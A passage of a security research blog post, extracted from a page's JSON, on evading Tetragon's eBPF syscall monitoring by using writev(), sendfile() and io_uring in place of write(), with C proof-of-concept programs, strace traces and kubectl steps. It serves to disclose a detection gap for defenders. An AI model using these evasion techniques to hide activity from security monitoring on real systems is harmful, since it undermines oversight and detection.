tool",[12078],{"start":17,"end":4811,"type":744,"data":12079},{"link_type":453,"url":12080,"target":456},"https:\u002F\u002Fgithub.com\u002Fcilium\u002Ftetragon",{"type":582,"text":12082,"spans":12083,"direction":4053},"Policies limitations",[],{"type":582,"text":12085,"spans":12086,"direction":4053},"Bypassing I\u002FO system call monitoring with io_uring",[],{"type":582,"text":12088,"spans":12089,"direction":4053},"Process execution context",[],"rich_text$455a2bff-ea0b-4b27-88e8-ca5235487f3f",{"variation":459,"version":460,"items":12092,"primary":12093,"id":12104,"slice_type":479,"slice_label":13},[],{"body":12094},[12095,12098,12101],{"type":1097,"text":12096,"spans":12097,"direction":4053},"Tetragon",[],{"type":396,"text":12099,"spans":12100,"direction":4053},"Recently Isovalent released the Tetragon opensource project, an eBPF-based security observability and runtime enforcement platform that has been part of Isovalent Cilium Enterprise for a couple of years.",[],{"type":396,"text":12102,"spans":12103,"direction":4053},"Open-sourcing parts of Isovalent Cilium Enterprise as project Tetragon and opening it up for the entire community inspired us at Form3 Offensive Security team to explore eBPF-based security observability and runtime enforcement tools capabilities and limitations.",[],"rich_text$6190fcff-9de4-44ba-b7e2-6ac933d41302",{"variation":459,"version":460,"items":12106,"primary":12107,"id":12117,"slice_type":479,"slice_label":13},[],{"body":12108},[12109,12111],{"type":1097,"text":9348,"spans":12110,"direction":4053},[],{"type":396,"text":12112,"spans":12113,"direction":4053},"To get a hands-on experience with Tetragon and the generated events follow the Tetragonquickstart-guideto setup a Kind cluster and install Tetragon using a helm-based installation.",[12114],{"start":3671,"end":550,"type":744,"data":12115},{"link_type":453,"url":12116,"target":456},"https:\u002F\u002Fgithub.com\u002Fcilium\u002Ftetragon#quickstart-guide","rich_text$499114bb-1de5-4d20-9e58-8308b84e0efa",{"variation":459,"version":460,"items":12119,"primary":12120,"id":12132,"slice_type":479,"slice_label":13},[],{"body":12121},[12122,12125,12128],{"type":1097,"text":12123,"spans":12124,"direction":4053},"Functionality Overview",[],{"type":396,"text":12126,"spans":12127,"direction":4053},"Tetragon uses kprobe hook points to observe arbitrary kernel calls in the Linux kernel, giving it the ability to monitor process opens, reads, writes, and closes throughout its lifecycle.",[],{"type":396,"text":12129,"spans":12130,"direction":4053},"To explore how Tetragon syscall monitoring works apply the write.yaml TracingPolicy.",[12131],{"start":2019,"end":687,"type":780},"rich_text$68714bee-0e2f-411c-93d5-7a0fc87c541c",{"variation":459,"version":460,"items":12134,"primary":12135,"id":12140,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12136},[12137],{"type":563,"text":12138,"spans":12139},"kubectl apply -f .\u002Ftetragon\u002Fcrds\u002Fexamples\u002Fwrite.yaml",[],"code_block$67ddb2b4-e7e6-42a5-8a16-b798ed130d38",{"variation":459,"version":460,"items":12142,"primary":12143,"id":12149,"slice_type":479,"slice_label":13},[],{"body":12144},[12145],{"type":396,"text":12146,"spans":12147},"Create a testing pod using the ubuntu image.",[12148],{"start":2585,"end":475,"type":780},"rich_text$517fde7d-ebfd-4f36-b5ea-7e681b4044e7",{"variation":459,"version":460,"items":12151,"primary":12152,"id":12157,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12153},[12154],{"type":563,"text":12155,"spans":12156},"kubectl run demo --image ubuntu --command sleep infinity",[],"code_block$f6a7c268-e634-49cc-83a0-d666fdff9fba",{"variation":459,"version":460,"items":12159,"primary":12160,"id":12166,"slice_type":479,"slice_label":13},[],{"body":12161},[12162],{"type":396,"text":12163,"spans":12164},"In another terminal, start monitoring the events from the demo pod.",[12165],{"start":556,"end":3243,"type":780},"rich_text$a59917f6-1489-48cd-8b3a-f8aaf852a2d9",{"variation":459,"version":460,"items":12168,"primary":12169,"id":12174,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12170},[12171],{"type":563,"text":12172,"spans":12173},"kubectl logs -n kube-system ds\u002Ftetragon -c export-stdout -f | tetragon observe --namespace default --pod demo",[],"code_block$6ef6e3a5-77c2-4e60-a836-a8a349fca142",{"variation":459,"version":460,"items":12176,"primary":12177,"id":12184,"slice_type":479,"slice_label":13},[],{"body":12178},[12179],{"type":396,"text":12180,"spans":12181},"To test the TracingPolicy kubectl exec into the demo pod and read the contents of \u002Fetc\u002Fhostname.",[12182,12183],{"start":516,"end":547,"type":780},{"start":899,"end":641,"type":780},"rich_text$ce441f2b-1a31-4e22-b7d8-5d321dd6e9b1",{"variation":459,"version":460,"items":12186,"primary":12187,"id":12192,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12188},[12189],{"type":563,"text":12190,"spans":12191},"kubectl exec -it demo -- cat \u002Fetc\u002Fhostname",[],"code_block$cf563415-a2fb-45fd-8c60-0a28c5be062e",{"variation":459,"version":460,"items":12194,"primary":12195,"id":12200,"slice_type":479,"slice_label":13},[],{"body":12196},[12197],{"type":396,"text":12198,"spans":12199},"The output in the terminal should be the hostname of the pod.",[],"rich_text$30b36b43-a252-4952-929c-a3175d7e9b5e",{"variation":459,"version":460,"items":12202,"primary":12203,"id":12208,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12204},[12205],{"type":563,"text":12206,"spans":12207},"demo",[],"code_block$1efbbcb0-e6b7-4ad2-98ca-727457873e06",{"variation":459,"version":460,"items":12210,"primary":12211,"id":12219,"slice_type":479,"slice_label":13},[],{"body":12212},[12213],{"type":396,"text":12214,"spans":12215},"Looking into the output in the terminal running tetragon observe we should see the write system call used by the cat command.",[12216,12217,12218],{"start":516,"end":5013,"type":780},{"start":549,"end":519,"type":780},{"start":5615,"end":1443,"type":780},"rich_text$c6073f68-8e88-46e9-9dae-52527b0be5a4",{"variation":459,"version":460,"items":12221,"primary":12222,"id":12227,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12223},[12224],{"type":563,"text":12225,"spans":12226},"🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fcat \u002Fetc\u002Fhostname                        \n📝 write   default\u002Fdemo \u002Fusr\u002Fbin\u002Fcat  5 bytes                             \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fcat \u002Fetc\u002Fhostname 0",[],"code_block$9292fa27-9201-4f6f-84e3-5ff9e18a42ed",{"variation":459,"version":460,"items":12229,"primary":12230,"id":12242,"slice_type":479,"slice_label":13},[],{"body":12231},[12232],{"type":396,"text":12233,"spans":12234},"The output shows the cat process inside a Kubernetes workload performing a write system call with the contents of \u002Fetc\u002Fhostname to stdout, also known as standard output with the default file descriptor with the number 1. Now that we have a baseline let's look into how to bypass this TracingPolicy.",[12235,12236,12237,12238,12239],{"start":706,"end":1381,"type":780},{"start":5023,"end":688,"type":780},{"start":2068,"end":8119,"type":780},{"start":7075,"end":3250,"type":780},{"start":12240,"end":12241,"type":780},218,219,"rich_text$ac673f88-e5af-4555-99d8-df265f8ba830",{"variation":459,"version":460,"items":12244,"primary":12245,"id":12261,"slice_type":479,"slice_label":13},[],{"body":12246},[12247,12250,12257],{"type":1097,"text":12248,"spans":12249,"direction":4053},"The sys-write TracingPolicy",[],{"type":396,"text":12251,"spans":12252,"direction":4053},"This TracingPolicy uses kprobe hook points, to observe arbitrary kernel system calls in the Linux kernel. We will look at the sys-write example TracingPolicy and see how it monitors detecting the write system calls.",[12253,12256],{"start":672,"end":905,"type":744,"data":12254},{"link_type":453,"url":12255,"target":456},"https:\u002F\u002Fgithub.com\u002Fcilium\u002Ftetragon\u002Fblob\u002Fmain\u002Fcrds\u002Fexamples\u002Fwrite.yaml",{"start":1536,"end":2074,"type":780},{"type":396,"text":12258,"spans":12259,"direction":4053},"The snippet below shows how the __x64_sys_write call is used in the TracingPolicy.",[12260],{"start":515,"end":3824,"type":780},"rich_text$ea7f8654-cd3f-4054-8a96-752122b58e9c",{"variation":459,"version":460,"items":12263,"primary":12264,"id":12269,"slice_type":567,"slice_label":13},[],{"language_label":3467,"code":12265},[12266],{"type":563,"text":12267,"spans":12268},"apiVersion: cilium.io\u002Fv1alpha1\nkind: TracingPolicy\nmetadata:\n  name: \"sys-write\"\nspec:\n  kprobes:\n  - call: \"__x64_sys_write\"\n    syscall: true\n    args:\n    - index: 0\n      type: \"int\"\n    - index: 1\n      type: \"char_buf\"\n      sizeArgIndex: 3\n    - index: 2\n      type: \"size_t\"\n    # follow any non-init pids stdout e.g. exec into container\n    selectors:\n    - matchPIDs:\n      - operator: NotIn\n        followForks: true\n        isNamespacePID: true\n        values:\n        - 1\n      matchArgs:\n      - index: 0\n        operator: \"Equal\"\n        values:\n        - \"1\"",[],"code_block$fee6768f-2298-4319-84fc-22d6dc7fbf75",{"variation":459,"version":460,"items":12271,"primary":12272,"id":12284,"slice_type":479,"slice_label":13},[],{"body":12273},[12274,12277,12280],{"type":1097,"text":12275,"spans":12276,"direction":4053},"Baseline",[],{"type":396,"text":12278,"spans":12279,"direction":4053},"The first observation is that the effectiveness of the policy, as with most security monitoring tools, is directly related to the synchronous behaviour of the evaluated processes and system calls. To analyse this behaviour, we start by isolating the system call in a small C program and use it as a baseline.",[],{"type":396,"text":12281,"spans":12282,"direction":4053},"write(2) function synopsis",[12283],{"start":17,"end":4811,"type":780},"rich_text$c519b33c-8fed-44e0-9c65-9b37157a69f8",{"variation":459,"version":460,"items":12286,"primary":12287,"id":12292,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12288},[12289],{"type":563,"text":12290,"spans":12291},"#include \u003Cunistd.h>\n\nssize_t write(int fd, const void *buf, size_t count);",[],"code_block$e0808b4b-88dd-4fe6-a801-5493253ff99b",{"variation":459,"version":460,"items":12294,"primary":12295,"id":12305,"slice_type":479,"slice_label":13},[],{"body":12296},[12297,12303],{"type":396,"text":12298,"spans":12299},"The write(2) system call is used to write to a file descriptor, in our baseline example the file descriptor is standard output with the file descriptor number 1.",[12300],{"start":667,"end":1333,"type":744,"data":12301},{"link_type":453,"url":12302},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman2\u002Fwrite.2.html",{"type":396,"text":12275,"spans":12304},[],"rich_text$beb09c67-5ad4-4e85-bd7e-b99a27f8039d",{"variation":459,"version":460,"items":12307,"primary":12308,"id":12313,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12309},[12310],{"type":563,"text":12311,"spans":12312},"#include \u003Cunistd.h>\n\nint main()\n{\n    write(1,\"Writing using write()!\\n\",24); \n}",[],"code_block$ee356c2e-8f00-4adc-b6b2-d2beed05a81c",{"variation":459,"version":460,"items":12315,"primary":12316,"id":12322,"slice_type":479,"slice_label":13},[],{"body":12317},[12318],{"type":396,"text":12319,"spans":12320},"Executing the program with strace allows us to observe the system calls.",[12321],{"start":2744,"end":685,"type":780},"rich_text$dbbd26b1-a67f-4c09-bdcb-8ce72c85d867",{"variation":459,"version":460,"items":12324,"primary":12325,"id":12330,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12326},[12327],{"type":563,"text":12328,"spans":12329},"$ strace .\u002Fwrite\nexecve(\".\u002Fwrite\", [\".\u002Fwrite\"], 0x7ffce310ca50 \u002F* 24 vars *\u002F) = 0\narch_prctl(0x3001 \u002F* ARCH_??? *\u002F, 0x7ffe797eb220) = -1 EINVAL (Invalid argument)\nbrk(NULL)                               = 0x175c000\nbrk(0x175d1c0)                          = 0x175d1c0\narch_prctl(ARCH_SET_FS, 0x175c880)      = 0\nuname({sysname=\"Linux\", nodename=\"lab\", ...}) = 0\nreadlink(\"\u002Fproc\u002Fself\u002Fexe\", \"\u002Fhome\u002Fubuntu\u002Fwrite\", 4096) = 18\nbrk(0x177e1c0)                          = 0x177e1c0\nbrk(0x177f000)                          = 0x177f000\nmprotect(0x4bd000, 12288, PROT_READ)    = 0\nwrite(1, \"Writing using write()!\\n\\0\", 24Writing using write()!\n) = 24\nexit_group(0)                           = ?\n+++ exited with 0 +++",[],"code_block$8351517a-db84-4681-9801-86654048391d",{"variation":459,"version":460,"items":12332,"primary":12333,"id":12339,"slice_type":479,"slice_label":13},[],{"body":12334},[12335],{"type":396,"text":12336,"spans":12337},"From the output, we verify how the write(2) system call is detected using the kprobe hook.",[12338],{"start":1372,"end":6708,"type":780},"rich_text$f5059a56-d44a-4a00-99fc-d32a68e79829",{"variation":459,"version":460,"items":12341,"primary":12342,"id":12347,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12343},[12344],{"type":563,"text":12345,"spans":12346},"write(1, \"Writing using write()!\\n\\0\", 24) = 24",[],"code_block$ebe16cd1-fca2-4188-8708-bd11dccaeb5f",{"variation":459,"version":460,"items":12349,"primary":12350,"id":12356,"slice_type":479,"slice_label":13},[],{"body":12351},[12352],{"type":396,"text":12353,"spans":12354},"Executing the program in the demo pod confirms that our baseline works as intended.",[12355],{"start":586,"end":685,"type":780},"rich_text$3941914a-fc63-4282-aa77-393cffad03c8",{"variation":459,"version":460,"items":12358,"primary":12359,"id":12364,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12360},[12361],{"type":563,"text":12362,"spans":12363},"$ kubectl exec -it demo -- write\nWriting using write()!",[],"code_block$3bcbaa72-b552-4e48-8eb8-b960b81b1d6d",{"variation":459,"version":460,"items":12366,"primary":12367,"id":12373,"slice_type":479,"slice_label":13},[],{"body":12368},[12369],{"type":396,"text":12370,"spans":12371},"From the output, we can see that Tetragon can detect the write(2) system call.",[12372],{"start":2638,"end":1557,"type":780},"rich_text$bd74bf48-484e-4636-a2b0-72038f1aa261",{"variation":459,"version":460,"items":12375,"primary":12376,"id":12381,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12377},[12378],{"type":563,"text":12379,"spans":12380},"$ kubectl logs -n kube-system ds\u002Ftetragon -c export-stdout -f | tetragon observe --namespace default --pod demo\n🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fwrite                                    \n📝 write   default\u002Fdemo \u002Fusr\u002Fbin\u002Fwrite  24 bytes                          \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fwrite  0",[],"code_block$2a25558a-fcc4-47d6-b996-d7a518254cb2",{"variation":459,"version":460,"items":12383,"primary":12384,"id":12399,"slice_type":479,"slice_label":13},[],{"body":12385},[12386,12389,12395],{"type":1097,"text":12387,"spans":12388,"direction":4053},"Limitations",[],{"type":396,"text":12390,"spans":12391,"direction":4053},"Obviously, the simplest way to bypass the example rule is to use a function equivalent to write() like writev() for example, which performs the same action as write(), but gathers the output data from the iovcnt buffers specified by the members of the iov array.",[12392,12393,12394],{"start":1524,"end":1512,"type":780},{"start":550,"end":2475,"type":780},{"start":1549,"end":2537,"type":780},{"type":396,"text":12396,"spans":12397,"direction":4053},"writev()",[12398],{"start":17,"end":4811,"type":780},"rich_text$b425d30e-7f58-4c34-9206-441c8267017b",{"variation":459,"version":460,"items":12401,"primary":12402,"id":12407,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12403},[12404],{"type":563,"text":12405,"spans":12406},"#include \u003Csys\u002Fuio.h>\n\nint main()\n{\n    struct iovec vecs;\n    vecs.iov_base = \"Writing using writev()!\\n\";\n    vecs.iov_len = 25;\n\n    writev(1, &vecs, 1);\n}",[],"code_block$749b78e2-ce67-4e48-8117-beba8c7547b3",{"variation":459,"version":460,"items":12409,"primary":12410,"id":12416,"slice_type":479,"slice_label":13},[],{"body":12411},[12412],{"type":396,"text":12413,"spans":12414},"Executing the program with strace to verify what system calls are called.",[12415],{"start":2744,"end":685,"type":780},"rich_text$2b7c5f86-7603-4042-be43-eca494f1f5c7",{"variation":459,"version":460,"items":12418,"primary":12419,"id":12424,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12420},[12421],{"type":563,"text":12422,"spans":12423},"$ strace .\u002Fwritev \nexecve(\".\u002Fwritev\", [\".\u002Fwritev\"], 0x7ffc915e7460 \u002F* 24 vars *\u002F) = 0\narch_prctl(0x3001 \u002F* ARCH_??? *\u002F, 0x7ffcf4e0cf80) = -1 EINVAL (Invalid argument)\nbrk(NULL)                               = 0x6d8000\nbrk(0x6d91c0)                           = 0x6d91c0\narch_prctl(ARCH_SET_FS, 0x6d8880)       = 0\nuname({sysname=\"Linux\", nodename=\"lab\", ...}) = 0\nreadlink(\"\u002Fproc\u002Fself\u002Fexe\", \"\u002Fhome\u002Fubuntu\u002Fwritev\", 4096) = 19\nbrk(0x6fa1c0)                           = 0x6fa1c0\nbrk(0x6fb000)                           = 0x6fb000\nmprotect(0x4bd000, 12288, PROT_READ)    = 0\nwritev(1, [{iov_base=\"Writing using writev()!\\n\\0\", iov_len=25}], 1Writing using writev()!\n) = 25\nexit_group(0)                           = ?\n+++ exited with 0 +++",[],"code_block$ee7c008b-2260-4eea-9620-abb4d241d066",{"variation":459,"version":460,"items":12426,"primary":12427,"id":12434,"slice_type":479,"slice_label":13},[],{"body":12428},[12429],{"type":396,"text":12430,"spans":12431},"From the output we can see the writev(2) system call is called by the writev program.",[12432,12433],{"start":2585,"end":2040,"type":780},{"start":7824,"end":1507,"type":780},"rich_text$5986a7ef-8963-4927-9168-dcb75f81b0da",{"variation":459,"version":460,"items":12436,"primary":12437,"id":12442,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12438},[12439],{"type":563,"text":12440,"spans":12441},"writev(1, [{iov_base=\"Writing using writev()!\\n\\0\", iov_len=25}], 1) = 25",[],"code_block$5e50e7f9-8596-4732-a419-428d6466da35",{"variation":459,"version":460,"items":12444,"primary":12445,"id":12451,"slice_type":479,"slice_label":13},[],{"body":12446},[12447],{"type":396,"text":12448,"spans":12449},"Executing the program in the demo pod allows us to confirm that the system call is not detected.",[12450],{"start":586,"end":685,"type":780},"rich_text$5f961d52-a5c4-445c-a56c-dc2d7f933b2c",{"variation":459,"version":460,"items":12453,"primary":12454,"id":12459,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12455},[12456],{"type":563,"text":12457,"spans":12458},"$ kubectl exec -it demo -- writev\nWriting using writev()!",[],"code_block$176695e3-b6eb-400f-8d51-017f0ba4a73c",{"variation":459,"version":460,"items":12461,"primary":12462,"id":12468,"slice_type":479,"slice_label":13},[],{"body":12463},[12464],{"type":396,"text":12465,"spans":12466},"From the output, as expected, Tetragon is unable to detect the writev(2) system call because it does not match the TracingPolicy.",[12467],{"start":1734,"end":714,"type":780},"rich_text$f7296db9-4686-4c80-8ea0-4a3977bdf9d0",{"variation":459,"version":460,"items":12470,"primary":12471,"id":12476,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12472},[12473],{"type":563,"text":12474,"spans":12475},"$ kubectl logs -n kube-system ds\u002Ftetragon -c export-stdout -f | tetragon observe --namespace default --pod demo\n🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fwritev                                   \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fwritev  0",[],"code_block$11e27fe2-58e5-449b-a245-f5d4021de7d5",{"variation":459,"version":460,"items":12478,"primary":12479,"id":12499,"slice_type":479,"slice_label":13},[],{"body":12480},[12481,12484,12495],{"type":396,"text":12482,"spans":12483},"These limitations although obvious and expected from such a simple example rule is still worth mentioning, as this is a recurring problem for security monitoring tools, often expressed as a cat-and-mouse game. Defenders will increase the coverage of their rules and adversaries will look for exceptions and fringe cases.",[],{"type":396,"text":12485,"spans":12486},"A less intuitive example of this issue can occur with the sendfile(2) system call, used to transfer data between file descriptors, and in practice sendfile(2) a combination of the read(2) and write(2) system calls.",[12487,12488,12492,12493],{"start":556,"end":687,"type":780},{"start":2830,"end":12489,"type":744,"data":12490},158,{"link_type":453,"url":12491},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman2\u002Fsendfile.2.html",{"start":6376,"end":9495,"type":780},{"start":2887,"end":12494,"type":780},200,{"type":396,"text":12496,"spans":12497},"sendfile(2) synopsis",[12498],{"start":17,"end":1998,"type":780},"rich_text$368dfed1-cbc4-42f0-a4aa-f121f299088f",{"variation":459,"version":460,"items":12501,"primary":12502,"id":12507,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12503},[12504],{"type":563,"text":12505,"spans":12506},"#include \u003Csys\u002Fsendfile.h>\n\nssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);",[],"code_block$0190d4ae-1360-4674-ba8d-5f4c6b32e71e",{"variation":459,"version":460,"items":12509,"primary":12510,"id":12521,"slice_type":479,"slice_label":13},[],{"body":12511},[12512,12516],{"type":396,"text":12513,"spans":12514},"The sendfile(2) system call is used as an example by BusyBox, a software suite that provides several Unix utilities in a single executable file commonly present in container images. If not taken into consideration when developing detection policies equivalent functions even when not intentionally misused can still be abused by an adversary to bypass detection.",[12515],{"start":667,"end":595,"type":780},{"type":396,"text":12517,"spans":12518},"Executing busybox with strace we can verify what system calls are being called.",[12519,12520],{"start":426,"end":967,"type":780},{"start":2532,"end":586,"type":780},"rich_text$a1936981-5728-4fef-b6ac-954758c60ab7",{"variation":459,"version":460,"items":12523,"primary":12524,"id":12529,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12525},[12526],{"type":563,"text":12527,"spans":12528},"$ strace busybox cat \u002Fetc\u002Fhostname\n[...snip...]\nopenat(AT_FDCWD, \"\u002Fetc\u002Fhostname\", O_RDONLY) = 3\nsendfile(1, 3, NULL, 16777216lab\n)          = 4\nsendfile(1, 3, NULL, 16777216)          = 0\nclose(3)                                = 0\nexit_group(0)                           = ?\n+++ exited with 0 +++",[],"code_block$92fd35c9-98ca-4cfe-9fe4-ce1cc5b3cbea",{"variation":459,"version":460,"items":12531,"primary":12532,"id":12537,"slice_type":479,"slice_label":13},[],{"body":12533},[12534],{"type":396,"text":12535,"spans":12536},"Execution",[],"rich_text$0984667a-c3cd-4dde-8fad-c850e63eff81",{"variation":459,"version":460,"items":12539,"primary":12540,"id":12545,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12541},[12542],{"type":563,"text":12543,"spans":12544},"$ kubectl exec -it demo -- busybox cat \u002Fetc\u002Fhostname\ndemo",[],"code_block$08f7929a-7222-4fbf-b313-bab0c9a6b59e",{"variation":459,"version":460,"items":12547,"primary":12548,"id":12553,"slice_type":479,"slice_label":13},[],{"body":12549},[12550],{"type":396,"text":12551,"spans":12552},"Output",[],"rich_text$dce99015-303b-41b5-99b7-9c13dabd4557",{"variation":459,"version":460,"items":12555,"primary":12556,"id":12561,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12557},[12558],{"type":563,"text":12559,"spans":12560},"🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fbusybox cat \u002Fetc\u002Fhostname                \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fbusybox cat \u002Fetc\u002Fhostname 0",[],"code_block$d8631e83-52c3-4efa-909f-e56158afaeb3",{"variation":459,"version":460,"items":12563,"primary":12564,"id":12615,"slice_type":479,"slice_label":13},[],{"body":12565},[12566,12569,12577,12580,12584,12599,12605,12608,12612],{"type":1097,"text":12567,"spans":12568,"direction":4053},"Enter the io_uring",[],{"type":396,"text":12570,"spans":12571,"direction":4053},"Now that we have seen how system call detection can be bypassed using equivalent functions, let's look at a more generic and novel way to bypass system call monitoring, taking advantage of io_uring. This new asynchronous I\u002FO API for Linux was created by Jens Axboe from Facebook to address performance issues with similar interfaces provided by functions like read, write and other functions that operate on data accessed by sockets and file descriptors.",[12572,12573,12574],{"start":853,"end":8032,"type":780},{"start":3835,"end":6188,"type":780},{"start":12575,"end":12576,"type":780},366,371,{"type":396,"text":12578,"spans":12579,"direction":4053},"The purpose of this example is not to bypass detection using another equivalent function, but to observe how the new asynchronous I\u002FO APIs for Linux can present new challenges to security monitoring tools.",[],{"type":396,"text":12581,"spans":12582,"direction":4053},"io_uring a high level overview",[12583],{"start":17,"end":555,"type":477},{"type":396,"text":12585,"spans":12586,"direction":4053},"The io_uring asynchronous I\u002FO API was introduced in Linux kernel version 5.1 (March 2019) and consists of three system calls, io_uring_setup(2), io_uring_register(2) and io_uring_enter(2). The io_uring instance uses two rings, a submission queue (SQ) for submission of requests and a completion queue (CQ) that informs about the completion of those requests, shared between the kernel and the program using io_uring_setup() and mapped using two mmap(2) calls.",[12587,12588,12590,12591,12592,12593,12596],{"start":667,"end":1333,"type":780},{"start":1536,"end":12589,"type":780},143,{"start":1545,"end":2128,"type":780},{"start":2129,"end":9495,"type":780},{"start":2887,"end":8375,"type":780},{"start":12594,"end":12595,"type":780},407,423,{"start":12597,"end":12598,"type":780},445,452,{"type":396,"text":12600,"spans":12601,"direction":4053},"The program creates one or more SQ entries (SQE) instructing io_uring what asynchronous I\u002FO operation it needs to get done, readv(2) or writev(2) for example, and then updates the SQ tail. The kernel reads the SQEs, and updates the SQ head.",[12602,12603,12604],{"start":3242,"end":687,"type":780},{"start":6124,"end":7075,"type":780},{"start":3249,"end":850,"type":780},{"type":396,"text":12606,"spans":12607,"direction":4053},"The kernel then creates CQ entries (CQE) for one or more of the completed requests and updates the CQ tail. The program then consumes the CQEs and updates the CQ head. An important note is that completion events can arrive in any order, associated only with the specific SQEs.",[],{"type":396,"text":12609,"spans":12610,"direction":4053},"The bypass",[12611],{"start":17,"end":426,"type":477},{"type":396,"text":12613,"spans":12614,"direction":4053},"With this in mind, we can write a small C program to bypass system call monitoring.",[],"rich_text$def5585b-7d8f-4108-8e32-a27f09c382ca",{"variation":459,"version":460,"items":12617,"primary":12618,"id":12623,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12619},[12620],{"type":563,"text":12621,"spans":12622},"#include \u003Cliburing.h>\n\nint main()\n{\n\tstruct iovec vecs;\n\tstruct io_uring ring;\n\tstruct io_uring_cqe *cqe;\n\tstruct io_uring_sqe *sqe;\n\n\tvecs.iov_base = \"Writing using io_uring!\\n\";\n\tvecs.iov_len = 25;\n\n\tio_uring_queue_init(8, &ring, 0);\n\n\tsqe = io_uring_get_sqe(&ring);\n\n\tio_uring_prep_writev(sqe, 1, &vecs, 1, 0);\n\n\tio_uring_submit(&ring);\n\n\tio_uring_wait_cqe(&ring, &cqe);\n\n\tio_uring_cqe_seen(&ring, cqe);\n}",[],"code_block$48698ed5-ea04-4aa6-a5ef-46eb1e185bbb",{"variation":459,"version":460,"items":12625,"primary":12626,"id":12659,"slice_type":479,"slice_label":13},[],{"body":12627},[12628,12633,12637,12645,12651],{"type":396,"text":12629,"spans":12630},"In the program the io_uring_queue_init() function executes the io_uring_setup syscall to initialise the submission and completion queues in the kernel and then maps the resulting file descriptor to memory shared between the program and the kernel.",[12631,12632],{"start":2369,"end":2040,"type":780},{"start":1734,"end":708,"type":780},{"type":396,"text":12634,"spans":12635},"The io_uring_get_sqe() function gets the next vacant event from the submission queue belonging to the ring param and returns a pointer to the submission queue event.",[12636],{"start":672,"end":579,"type":780},{"type":396,"text":12638,"spans":12639},"Then the ring SQE is fetched and prepared for the IORING_OP_WRITEV operation which provides an asynchronous interface to write(2) system call using the liburing io_uring_prep_writev() helper function.",[12640,12641,12644],{"start":2069,"end":7071,"type":780},{"start":2752,"end":2886,"type":744,"data":12642},{"link_type":453,"url":12643},"https:\u002F\u002Fgithub.com\u002Faxboe\u002Fliburing",{"start":1049,"end":2753,"type":780},{"type":396,"text":12646,"spans":12647},"The SQE is submitted with a call to io_uring_submit() that returns the number of submitted SQEs and our program waits for a completion by calling io_uring_wait_cqe(), finally the program calls io_uring_cqe_seen() to inform the kernel that the given CQE has been consumed.",[12648,12649,12650],{"start":546,"end":3378,"type":780},{"start":8096,"end":2128,"type":780},{"start":4877,"end":11663,"type":780},{"type":396,"text":12652,"spans":12653},"Executing the uwrite program with strace allows us to verify that it is only calling the io_uring_setup(2), mmap(2) and io_uring_enter(2) system calls while still writing the message to standard output.",[12654,12655,12656,12657,12658],{"start":1342,"end":3298,"type":780},{"start":1363,"end":2040,"type":780},{"start":519,"end":3944,"type":780},{"start":5149,"end":3247,"type":780},{"start":602,"end":3250,"type":780},"rich_text$153bca78-536c-4461-b860-8ace9f0b7b15",{"variation":459,"version":460,"items":12661,"primary":12662,"id":12667,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":12663},[12664],{"type":563,"text":12665,"spans":12666},"$ strace .\u002Fuwrite\nexecve(\".\u002Fuwrite\", [\".\u002Fuwrite\"], 0x7ffde19a0850 \u002F* 24 vars *\u002F) = 0\narch_prctl(0x3001 \u002F* ARCH_??? *\u002F, 0x7ffe7d93b6a0) = -1 EINVAL (Invalid argument)\nbrk(NULL)                               = 0x1ede000\nbrk(0x1edf1c0)                          = 0x1edf1c0\narch_prctl(ARCH_SET_FS, 0x1ede880)      = 0\nuname({sysname=\"Linux\", nodename=\"lab\", ...}) = 0\nreadlink(\"\u002Fproc\u002Fself\u002Fexe\", \"\u002Fhome\u002Fubuntu\u002Fuwrite\", 4096) = 19\nbrk(0x1f001c0)                          = 0x1f001c0\nbrk(0x1f01000)                          = 0x1f01000\nmprotect(0x4be000, 12288, PROT_READ)    = 0\nio_uring_setup(8, {flags=0, sq_thread_cpu=0, sq_thread_idle=0, sq_entries=8, cq_entries=16, features=IORING_FEAT_SINGLE_MMAP|IORING_FEAT_NODROP|IORING_FEAT_SUBMIT_STABLE|IORING_FEAT_RW_CUR_POS|IORING_FEAT_CUR_PERSONALITY|0x7e0, sq_off={head=0, tail=64, ring_mask=256, ring_entries=264, flags=276, dropped=272, array=576}, cq_off={head=128, tail=192, ring_mask=260, ring_entries=268, overflow=284, cqes=320, resv=[0x118, 0]}}) = 3\nmmap(NULL, 608, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_POPULATE, 3, 0) = 0x7f961a244000\nmmap(NULL, 512, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_POPULATE, 3, 0x10000000) = 0x7f961a243000\nio_uring_enter(3, 1, 0, 0, NULL, 8Writing using io_uring!\n)     = 1\nexit_group(0)                           = ?\n+++ exited with 0 